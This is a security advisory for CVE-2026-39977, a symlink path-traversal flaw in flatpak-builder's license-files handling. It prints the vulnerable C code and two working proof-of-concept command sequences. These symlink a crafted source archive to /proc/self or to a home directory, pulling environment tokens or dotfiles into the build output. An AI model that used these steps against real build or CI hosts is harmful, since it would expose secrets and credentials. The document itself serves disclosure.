Skip to content

CVE-2026-39977: Path traversal leading to arbitrary file read on host when installing licence files

High
bbhtt published GHSA-6gm9-3g7m-3965 Apr 9, 2026

Package

flatpak-builder

Affected versions

>=1.4.5

Patched versions

1.4.8

Description

flatpak-builder 1.4.5 introduced automatic license file detection and the license-files manifest key for recording module license files into the build output. The license-files manifest key takes an array of paths to user defined licence files relative to the source directory of the module. The paths from that array are resolved using g_file_resolve_relative_path() and validated to stay inside the source directory using two checks - g_file_get_relative_path() which does not resolve symlinks and g_file_query_file_type() with G_FILE_QUERY_INFO_NOFOLLOW_SYMLINKS which only applies to the final path component. The copy operation runs on host.

find_defined_license_files (GStrv license_files,
GFile *source_dir,
GPtrArray *files,
GError **error)
{
for (size_t i = 0; license_files[i] != NULL; i++)
{
const char *license_file_path = license_files[i];
g_autoptr(GFile) license_file =
g_file_resolve_relative_path (source_dir, license_file_path);
g_autofree char *rel_path = NULL;
GFileType file_type;
rel_path = g_file_get_relative_path (source_dir, license_file);
if (rel_path == NULL)
{
g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED,
"License path outside the source directory");
return FALSE;
}
if (!g_file_query_exists (license_file, NULL))
{
g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED,
"License file \"%s\" does not exist", rel_path);
return FALSE;
}
file_type = g_file_query_file_type (license_file,
G_FILE_QUERY_INFO_NOFOLLOW_SYMLINKS,
NULL);
if (file_type != G_FILE_TYPE_REGULAR)
{
g_set_error (error, G_IO_ERROR, G_IO_ERROR_FAILED,
"License file \"%s\" is not a regular file", rel_path);
return FALSE;
}
g_ptr_array_add (files, g_steal_pointer (&license_file));
}
return TRUE;
}

This can be exploited by using a crafted manifest and/or source to read arbitrary files from the host and capture them into the build output. The proof of concept below shows two examples of this.

POC 1:

export TOKEN="secret-token"

mkdir -p exploit
ln -s /proc/self exploit/licenses
tar czf exploit.tar.gz exploit/

cat << 'EOF' > test.yaml
id: org.flatpak.hello
runtime: org.freedesktop.Platform
runtime-version: '25.08'
sdk: org.freedesktop.Sdk
modules:
  - name: hello
    buildsystem: simple
    build-commands: []
    license-files:
      - licenses/environ
    sources:
      - type: archive
        path: exploit.tar.gz
EOF

flatpak-builder build --force-clean --user test.yaml

cat build/files/share/licenses/org.flatpak.hello/hello/environ | tr '\0' '\n' | grep "^TOKEN="
TOKEN="secret-token"

POC 2:

mkdir -p exploit
ln -s /home/$(whoami) exploit/licenses
tar czf exploit.tar.gz exploit/

cat << 'EOF' > test.yaml
id: org.flatpak.hello
runtime: org.freedesktop.Platform
runtime-version: '25.08'
sdk: org.freedesktop.Sdk
modules:
  - name: hello
    buildsystem: simple
    build-commands: []
    license-files:
      - licenses/.zshrc
    sources:
      - type: archive
        path: exploit.tar.gz
EOF

flatpak-builder build --force-clean --user test.yaml

cat build/files/share/licenses/org.flatpak.hello/hello/.zshrc

The impact should be low for an user locally since the manifest is supposed to be "trusted" by the user but this can be exploited to capture CI secrets/tokens that are available in the environment or saved in a file in the CI host. This affects any distributed build/CI service with central secrets as anyone would be able to capture them in the build output which will end up getting distributed to the users.

Severity

High

CVE ID

CVE-2026-39977

Weaknesses

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Learn more on MITRE.